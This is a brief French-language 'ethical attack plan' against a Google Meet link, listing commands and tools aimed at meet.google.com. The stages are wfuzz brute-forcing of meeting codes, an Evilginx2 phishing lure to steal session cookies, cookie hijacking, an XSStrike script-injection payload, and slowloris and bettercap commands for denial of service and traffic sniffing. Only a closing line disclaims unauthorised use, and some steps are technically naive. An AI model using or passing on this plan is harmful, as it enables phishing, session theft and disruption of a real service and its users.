Plan Complet d'Attaque Ethique sur un Lien Google Meet

Ce document decrit etape par etape un test ethique sur un lien Google Meet envoye par votre equipe. Toutes les actions sont destinees a des fins de formation et de test de securite uniquement.

1. Reconnaissance (Test de robustesse du lien)

Objectif : Tester si le lien Meet peut etre devine par force brute.

Outil : wfuzz

Commande :

wfuzz -c -z file,/usr/share/wordlists/meet_tokens.txt --hc 404 https://meet.google.com/FUZZ

2. Ingenierie Sociale (Phishing Meet)

Objectif : Creer une fausse page Meet pour voler un cookie de session.

Outil : Evilginx2

Etapes :

- Installer Evilginx2

- Configurer un leurre pour Google

- Envoyer le lien a la cible

3. Vol de Session (Cookie Hijack)

Objectif : Ouvrir le lien Meet avec les droits de la victime.

Commande : Utiliser le cookie vole pour ouvrir une session dans le navigateur.

4. Fuzzing pour Injection XSS

Objectif : Tester si des champs sont vulnerables a des scripts.

Outil : XSStrike

Commande :

xsstrike -u "https://meet.google.com/abc-defg-hij?chat=<script>alert(1)</script>"

5. Perturbation Reseau (DoS leger)

Objectif : Degrader la qualite du Meet.

Outils : slowloris ou bettercap

Commandes :

slowloris meet.google.com --sockets 500

ou

sudo bettercap -iface wlan0

net.probe on

net.sniff on

Note : Ces actions sont uniquement pour un test ethique et ne doivent pas etre utilisees sans autorisation sur des cibles reelles. Certaines etapes requierent l'intervention cote client (ingenierie sociale).